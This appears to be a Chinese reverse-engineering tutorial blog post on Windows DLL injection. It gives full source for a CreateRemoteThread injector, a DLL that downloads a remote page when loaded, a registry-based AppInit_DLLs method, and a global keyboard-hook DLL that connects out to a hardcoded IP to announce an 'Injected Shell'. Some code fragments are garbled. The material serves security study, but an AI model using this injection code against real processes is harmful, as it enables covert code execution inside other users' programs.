逆核系列No.7--DLL注入

本节内容

通过对实例的展示,理解DLL注入的技术过程

从技术细节上来说,DLL注入命令其他进程自行调用LoadLibrary()API,加载用户指定的DLL文件(LoadLibrary参数)

注入后的DLL获得访问被注入进程内存空间的正当访问权限,可以左右程序运行逻辑

DLL注入的三种实现方法:

  • 创建远程线程(CreateRemoteThead() API)
  • 使用注册表(AppInit_DLLs值)
  • 消息钩取(SetWindowsHookEx() API)

DLL特性,在被加载时会启动DllMain()函数,利用该特性可修复程序或个程序添加新功能。

远程线程注入

该方案在目标进程内开启线程设置线程的回调函数完成DLL注入

示例用到的:InjeckDll.exe作为注入器,而myHack.dll中的DllMain中进行字符串输出用于检测DLL注入随后在被注入进程中开启线程完成对回调函数ThreadProc的调用实现下载网页的效果。这一切都是在DLL被注入时自动调用DllMain完成的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//Inject.exe-main源码
int _tmain(int argc, TCHAR *argv[])
{
if( argc != 3)
{
_tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]); //设置目标进程以及要注入的dll所在路径
return 1;
}

// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
//后续操作中有需要特权才能进行的操作,比如Inject方法的VirtualAllocEx,在目标进程中开辟空间写入参数
return 1;

// inject dll
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
_tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
else
_tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);

return 0;
}
//完成参数个数判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//Inject.exe-Inject函数源码
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

// #1. dwPID 判断获取的进程id
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}

// #2. 在目标程序中开辟内存空间分配给将要注入的dll所在的路径字符串使用
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);

// #3. 写入dll文件的路径
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);

// #4. LoadLibraryA() API 地址获取
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");

// #5. notepad.exe 在notepad.exe中开启线程
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//myhack.dll 
...

#pragma comment(lib, "urlmon.lib")

#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[_MAX_PATH] = {0,};

if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;

TCHAR *p = _tcsrchr( szPath, '\\' );
if( !p )
return FALSE;

_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);

URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);

return 0;
}


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;

g_hMod = (HMODULE)hinstDLL;

switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.dll> Injection!!!");
//在被注入进程开启线程执行回调函数ThreadProc
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
CloseHandle(hThread);
break;
}

return TRUE;
}

梳理下流程:

  • Inject.exe在判断传入的参数个数是否满足,满足 -> 调用Inject()

  • 在Inject.dll里,会利用OpenProcess先行判断传递的pid是否有效,返回句柄hProcess

  • 借有main函数中提升的特权,利用VirtualAllocEx在目标进程开辟一段空间,后续使用,返回开辟的空间首地址

  • 调用WriteProcessMemory将dll绝对路径字符串进行写入。

  • 获取Kernel.LoadLibraryW的API地址,参数(已写入的待注入Dll完整路径)为先前写入目标进程开辟出的空间

  • 在使用CreateRemoteThread在进程中开启线程将该函数的回调函数参数设置成LoadLibraryW并填充相应的参数完成dll的载入

  • 当DLL注入成功,会调用inject.dll -> DllMain,一下部分是在DllMain自动完成的:

    fdwReason = DLL_PROCESS_ATTACH,输出注入成功的字符串。在Inject.exe中开辟线程CreateThread,在创建的线程内执行dll.ThreadProc函数。

    由于g_hMod指向的是dll文件自身,在dll.ThreadProc内部调用GetModuleFileName查找dll文件的绝对路径,存放在szPath中,在经过路径的字符切分,最后调用URLDownloadToFile,传入路径与下载资源的位置,即将远程资源下载到和dll文件同目录下。


调试部分

经过上述分析,大概调试思路也有了:使用OD打开notepad.exe,F9让notepad.exe开始运行,再打开DebuggingOptions中的载入新模块时中断,在用Injeck.exe传入notepad.exe的pid以及myhack.dll的路径,回车,OD停在myhack.dll模块的(Injeck.exe需要给管理员权限)

OD载入notepad.exe并F9执行

打开OD的DebuggingOptions -> 在新模块载入时中断:

管理员权限给终端在启动Inject.exe,并设置参数

pid:

OD停在myhack.dll的位置,进入myhack.dll的区域:

myhack.dll部分

此处对应源码中如下的部分,完成的功能是验证所给Injeck.exe的参数notepad.exe的pid以及待注入myhack.dll的路径是否正确

1
2
3
4
5
6
7
8
9
//...
DWORD WINAPI ThreadProc(LPVOID lParam)
{
//...
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
//...
}
//...

完成的是对应源码

1
2
3
4
5
6
7
8
9
10
//...
DWORD WINAPI ThreadProc(LPVOID lParam)
{
//...
TCHAR *p = _tcsrchr( szPath, '\\' ); //szPath = .../myhack.dll
if( !p )
return FALSE;
//...
}
//...

截取dll文件的绝对路径将最后一个斜杆后边的内容截断取前面部分,位置后下载的网页文件做保存路径的拼接

eax, eax```影响标志位,判断eax值是否为0,若配合je jne等于0 fiag相关的跳转指令可完成条件判断。这里eax来自于_tcsrchr查找字符串的结果返回值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14

{% asset_img 8.png %}

完成路径拼接,这里保存的路径适合dll文件同目录下的.../index.heml

```C
//...
DWORD WINAPI ThreadProc(LPVOID lParam)
{
//...
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
//...
}
//...

完成文件的下载


注册表字段注入

Windows操作系统的注册表中默认提供了AppInit_DLLs与LoadAppinit_DLLs两个注册表项,将要注入的DLL文件路径写入AppInit_DLLs项目中,再将Load_AppInit_DLLs设置为1,重启后,DLL会注入所有运行进程。

原理是:User32.dll被加载到进程后,会读取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL,严格上来说,用户DLL文件并不会被加载到所有进程,只是加载到加载了user32.dll的那些进程。ps:windows XP会忽略LoadAppInit_DLLs注册表项。

注册表项路径:HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

SetWindowsHookEx方法

和前边方法一差不多,也是通过设置SetWindowsHookEx的回调函数并设置相应参数即可,相信经过上边第一个例子以及上一篇文章《逆核系列No.6–Windows Hook》,不难理解如下利用SetWindowsHookEx完成DLL注入的代码(code source):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//injector.c
#include <windows.h>

int main(int argc, char* argv)
{
/*
Loads inject.dll into the address space of the calling function, in this case the running exe
*/
HMODULE dll = LoadLibrary("inject.dll");
if(dll == NULL)
{
printf("Cannot find DLL");
getchar();
return -1;
}

/*
Gets the address of the inject method in the inject.dll
*/
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject");
if(addr == NULL)
{
printf("Cannot find the function");
getchar();
return -1;
}

/*
Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address
*/
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
if(handle == NULL)
{
printf("Couldn't hook the keyboard");
}

printf("Hooked the program, hit enter to exit");
getchar();
UnhookWindowsHookEx(handle);

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
//injectShell.c
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved)
{
FILE *file;
fopen_s(&file, "C:\temp.txt", "a+");

switch(Reason)
{
case DLL_PROCESS_ATTACH:
fprintf(file, "DLL attach function called.n");
break;
case DLL_PROCESS_DETACH:
fprintf(file, "DLL detach function called.n");
break;
case DLL_THREAD_ATTACH:
fprintf(file, "DLL thread attach function called.n");
break;
case DLL_THREAD_DETACH:
fprintf(file, "DLL thread detach function called.n");
break;
}

fclose(file);

return TRUE;
}


int inject(int code, WPARAM wParam, LPARAM lParam)
{

WSADATA wsa;
SOCKET s;
struct sockaddr_in server;
char *message;

printf("\nInitializing Winsock...");
if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)
{
printf("Failed. Error Code : %d", WSAGetLastError());
return(CallNextHookEx(NULL, code, wParam, lParam));
}

printf("Initialized. \n");

if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET)
{
printf("Could not create socket : %d", WSAGetLastError());
}

printf("Socket Created. \n");

server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address
server.sin_family = AF_INET;
server.sin_port = htons( 443 );

if(connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
{
puts("connect error");
return(CallNextHookEx(NULL, code, wParam, lParam));
}

puts("Connected");

message = "Injected Shell";
if( send(s, message, strlen(message), 0) <0)
{
puts("Send failed");
return(CallNextHookEx(NULL, code, wParam, lParam));
}
puts("Data sent\n");

return(CallNextHookEx(NULL, code, wParam, lParam));

}
Author: Victory+
Link: https://cvjark.github.io/2022/05/03/逆核系列No-7-DLL注入/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.